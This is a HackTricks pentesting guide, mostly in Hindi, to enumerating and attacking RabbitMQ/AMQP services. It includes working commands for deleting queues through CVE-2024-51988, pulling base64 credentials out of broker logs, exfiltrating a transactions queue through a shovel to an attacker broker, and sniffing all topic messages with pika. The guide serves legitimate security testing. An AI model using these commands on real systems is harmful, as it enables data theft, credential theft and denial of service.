5671,5672 - Pentesting AMQP
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
मूल जानकारी
स्रोत cloudamqp:
RabbitMQ एक message-queueing software है, जिसे message broker या queue manager के रूप में भी जाना जाता है। सरल शब्दों में; यह एक ऐसा software है जहाँ queues परिभाषित की जाती हैं, जिनसे applications जुड़ते हैं ताकि कोई संदेश या संदेशों का आदान-प्रदान किया जा सके।
एक message में किसी भी प्रकार की जानकारी हो सकती है। उदाहरण के लिए, इसमें उस process या task के बारे में जानकारी हो सकती है जिसे किसी अन्य application (जो किसी अन्य server पर भी हो सकता है) पर शुरू करना चाहिए, या यह केवल एक साधारण टेक्स्ट संदेश भी हो सकता है। queue-manager software उन संदेशों को तब तक संग्रहीत रखता है जब तक कि कोई receiving application जुड़कर queue से एक संदेश न ले ले। फिर receiving application उस संदेश को process करती है।
परिभाषा स्रोत .
डिफ़ॉल्ट पोर्ट: 5672,5671
PORT STATE SERVICE VERSION
5672/tcp open amqp RabbitMQ 3.1.5 (0-9)
- Default credentials:
guest:guest. RabbitMQ इन्हें localhost तकloopback_usersके माध्यम से सीमित करता है, लेकिन कई Docker/IoT images उस चेक को अक्षम कर देती हैं, इसलिए यह मानने से पहले कि यह ब्लॉक है, हमेशा remote login की जाँच करें। - Authentication mechanisms: PLAIN और AMQPLAIN डिफ़ॉल्ट रूप से सक्षम होते हैं, ANONYMOUS
anonymous_login_user/anonymous_login_passसे मैप होता है, और EXTERNAL (x509) TLS सक्षम होने पर एक्सपोज़ हो सकता है। ब्रोकर जो advertise करता है उसे एनेमेरेट करें ताकि आप जान सकें कि बाद में password spraying या certificate impersonation आज़माना है या नहीं।
Enumeration
Manual
import amqp
# By default it uses "guest":"guest"
conn = amqp.connection.Connection(host="IP", port=5672, virtual_host="/")
conn.connect()
print("SASL mechanisms:", conn.mechanisms)
for k, v in conn.server_properties.items():
print(k, v)
Once authenticated, dump conn.server_properties, conn.channel_max और conn.frame_max ताकि आप throughput सीमाएँ समझ सकें और यह जान सकें कि क्या आप oversized frames से resources exhaust कर सकते हैं।
स्वचालित
nmap -sV -Pn -n -T4 -p 5672 --script amqp-info IP
PORT STATE SERVICE VERSION
5672/tcp open amqp RabbitMQ 3.1.5 (0-9)
| amqp-info:
| capabilities:
| publisher_confirms: YES
| exchange_exchange_bindings: YES
| basic.nack: YES
| consumer_cancel_notify: YES
| copyright: Copyright (C) 2007-2013 GoPivotal, Inc.
| information: Licensed under the MPL. See http://www.rabbitmq.com/
| platform: Erlang/OTP
| product: RabbitMQ
| version: 3.1.5
| mechanisms: PLAIN AMQPLAIN
|_ locales: en_US
TLS/SASL checks
- Probe AMQPS:
openssl s_client -alpn amqp -connect IP:5671 -tls1_3 -msg </dev/null
यह प्रमाणपत्र श्रृंखला, समर्थित TLS संस्करण और यह कि mutual TLS आवश्यक है या नहीं, को leak कर देता है।
- List listeners without creds:
rabbitmq-diagnostics -q listeners
यह तब उपयोगी है जब आपको host पर low-priv shell access मिल जाए।
- Spot ANONYMOUS logins: यदि broker ANONYMOUS SASL mechanism की अनुमति देता है, तो empty username/password के साथ connect करने की कोशिश करें; RabbitMQ अंदरूनी रूप से आपको
anonymous_login_user(defaults toguest) पर map कर देगा।
Brute Force
Exploitation Tips
Queue deletion without configure perms (CVE-2024-51988)
RabbitMQ ≤ 3.12.10 (and unpatched Tanzu builds) HTTP API के माध्यम से queues delete करते समय configure permission की जाँच करने में विफल रहते हैं। किसी भी authenticated user जिसके पास target vhost का access है, वे arbitrary queues को नष्ट कर सकते हैं भले ही उनके पास केवल read या write अधिकार ही हों।
# confirm vulnerable version first
rabbitmqadmin -H target -P 15672 -u user -p pass show overview | grep -i version
# delete a high-value queue
curl -k -u user:pass -X DELETE https://target:15672/api/queues/%2F/payments-processing
इसे rabbitmqadmin list permissions के साथ मिलाकर उन vhosts को ढूँढें जहाँ आपका low-priv user आंशिक पहुँच रखता है, फिर queues को wipe करके denial of service पैदा करें या AMQP साइड पर देखे गए compensating controls को ट्रिगर करें। Check 15672 pentesting for more HTTP API endpoints to chain with this bug.
RabbitMQ logs से credentials हासिल करें (CVE-2025-50200)
Until 4.0.8/4.1.0, management API को HTTP basic auth के साथ किसी non-existent resource पर हिट करने पर broker पूरे Authorization header (base64) को log कर देता है। यदि आपको limited filesystem access मिलती है (उदा. Docker escape, plugin RCE), तो /var/log/rabbitmq/rabbit@*.log में Authorization: के लिए search करें और अन्य tenants या service accounts के लिए credentials recover करें।
curl -k -u pentester:SuperSecret https://target:15672/api/queues/%2f/ghost
sudo grep -R "Authorization:" /var/log/rabbitmq | cut -d' ' -f3 | base64 -d
इसे जानबूझकर नकली endpoints के साथ ट्रिगर करें ताकि logs में नई secrets आ सकें, फिर decoded creds को पुनः उपयोग करके AMQP, STOMP, MQTT या OS पर pivot करें।
rabbitmqadmin-ng को weaponize करें
rabbitmqadmin v2 (aka rabbitmqadmin-ng) एक self-contained CLI है जो management API से बात करता है और अब Linux/macOS/Windows के लिए statically linked builds के साथ आता है। इसे अपने bounce box पर डालें और स्क्रिप्ट करें:
# enumerate live channels and prefetch pressure
rabbitmqadmin --host target --port 15672 --username user --password pass channels list --non-interactive
# clone a shovel to exfiltrate messages to attacker-controlled broker
rabbitmqadmin shovels declare_amqp091 \
--name loot \
--source-uri amqp://user:pass@target:5672/%2f \
--destination-uri amqp://attacker:pw@vps:5672/%2f \
--source-queue transactions \
--destination-queue stolen
क्योंकि यह टूल blue/green aware health checks को सपोर्ट करता है, आप rabbitmqadmin health_check port_listener --port 5672 का दुरुपयोग करके दूर से यह पुष्टि कर सकते हैं कि क्या TLS listeners एक्सपोज़ हुए हैं या सर्विस को timing probes के लिए व्यस्त रख सकते हैं।
Message hijacking/sniffing
यदि आपको permissive policies (.* bindings, topic exchanges, या x-queue-master-locator = min-masters) मिलती हैं, तो आप संदेशों को बिना हटाए चुपचाप निकाल सकते हैं:
import pika
creds = pika.PlainCredentials('user','pass')
conn = pika.BlockingConnection(pika.ConnectionParameters('IP', 5672, '/', creds))
ch = conn.channel()
ch.queue_declare(queue='loot', exclusive=True, auto_delete=True)
ch.queue_bind(queue='loot', exchange='amq.topic', routing_key='#')
for method, props, body in ch.consume('loot', inactivity_timeout=5):
if body:
print(method.routing_key, body)
Swap the routing key for audit.# or payments.* to focus on sensitive flows, then republish forged messages by flipping basic_publish arguments—handy for replay attacks against downstream microservices.
अन्य RabbitMQ पोर्ट
In https://www.rabbitmq.com/networking.html you can find that rabbitmq uses several ports:
- 1883, 8883: (MQTT clients TLS के बिना और TLS के साथ, अगर MQTT plugin सक्षम है। Learn more about how to pentest MQTT here.
- 4369: epmd, एक peer discovery सेवा जो RabbitMQ nodes और CLI tools द्वारा उपयोग की जाती है। Learn more about how to pentest this service here.
- 5672, 5671: AMQP 0-9-1 और 1.0 clients के लिए, TLS के बिना और TLS के साथ उपयोग किए जाते हैं
- 15672: HTTP API clients, management UI और rabbitmqadmin (केवल यदि management plugin सक्षम है)। Learn more about how to pentest this service here.
- 15674: STOMP-over-WebSockets clients (केवल यदि Web STOMP plugin सक्षम है)
- 15675: MQTT-over-WebSockets clients (केवल यदि Web MQTT plugin सक्षम है)
- 15692: Prometheus metrics (केवल यदि Prometheus plugin सक्षम है)
- 25672: inter-node और CLI tools के संचार (Erlang distribution server port) के लिए उपयोग होता है और यह एक dynamic range से आवंटित होता है (डिफ़ॉल्ट रूप से एक ही पोर्ट तक सीमित, जिसे AMQP port + 20000 के रूप में गणना किया जाता है)। जब तक इन पोर्ट्स पर बाहरी कनेक्शन वास्तव में आवश्यक न हों (उदाहरण के लिए क्लस्टर federation का उपयोग करता हो या CLI tools सबनेट के बाहर मशीनों पर उपयोग किए जाते हों), इन पोर्ट्स को सार्वजनिक रूप से एक्सपोज़ नहीं होना चाहिए। विवरण के लिए देखें networking guide। इनमें से केवल 9 पोर्ट इंटरनेट पर खुले हैं।
- 35672-35682: nodes के साथ संचार के लिए CLI tools द्वारा उपयोग किए जाने वाले (Erlang distribution client ports) और यह एक dynamic range से आवंटित होता है (server distribution port + 10000 से server distribution port + 10010 तक के रूप में गणना)। विवरण के लिए देखें networking guide।
- 61613, 61614: STOMP clients TLS के बिना और TLS के साथ (केवल यदि STOMP plugin सक्षम है)। इस पोर्ट के साथ खुले डिवाइस 10 से कम हैं और अधिकांशतः DHT नोड्स के लिए UDP पर हैं।
इसे भी देखें
Shodan
AMQP
संदर्भ
- CloudAMQP – RabbitMQ for beginners
- RabbitMQ Networking Guide
- RabbitMQ Authentication, Authorisation & Access Control
- CVE-2024-51988 – RabbitMQ HTTP API queue deletion bug
- GHSA-gh3x-4x42-fvq8 – RabbitMQ logs Authorization header
- rabbitmqadmin v2 (rabbitmqadmin-ng)
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।


